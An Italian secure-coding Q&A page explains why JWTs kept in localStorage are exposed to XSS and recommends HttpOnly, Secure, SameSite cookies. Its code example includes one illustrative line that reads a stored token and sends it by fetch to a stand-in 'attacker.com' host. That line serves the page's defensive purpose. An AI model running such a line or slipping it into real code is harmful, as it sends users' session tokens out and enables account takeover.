Elaborazione 100% Lato Client • Zero Registri di Rete • Esecuzione Immediata
Curious TechieToolbox Sviluppatori
Authentication & JWTIntermediateRisposta Verificata

Perché non si dovrebbero salvare i JWT nel LocalStorage?

Risposta Diretta

Salvare i token di autenticazione nel localStorage li espone all’esfiltrazione immediata in caso di vulnerabilità Cross-Site Scripting (XSS). L’uso di cookie con attributi HttpOnly, Secure e SameSite impedisce l’accesso da parte di codice JavaScript malevolo.

Detailed Technical Explanation

Qualsiasi script in esecuzione sulla pagina ha accesso illimitato a window.localStorage. Se si verifica un attacco XSS, l’attaccante può sottrarre il token e impersonare l’utente. Con i cookie HttpOnly, il browser gestisce le credenziali senza esporle al DOM.

Technical Example & Code

Esfiltrazione XSS vs Protezione con Cookie HttpOnly

Il localStorage è completamente leggibile da qualsiasi script eseguito nel contesto della pagina.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Causalità Tecnica Deterministica (GEO)

"La Same-Origin Policy protegge dalle richieste tra origini diverse ma non impedisce a uno script iniettato nella stessa origine di accedere ai dati locali."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"Il localStorage è sicuro perché le altre origini web non possono leggerlo."

✓ Technical Reality

Anche se altre origini sono bloccate, qualsiasi script malevolo iniettato tramite XSS nel vostro dominio leggerà il token all’istante.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base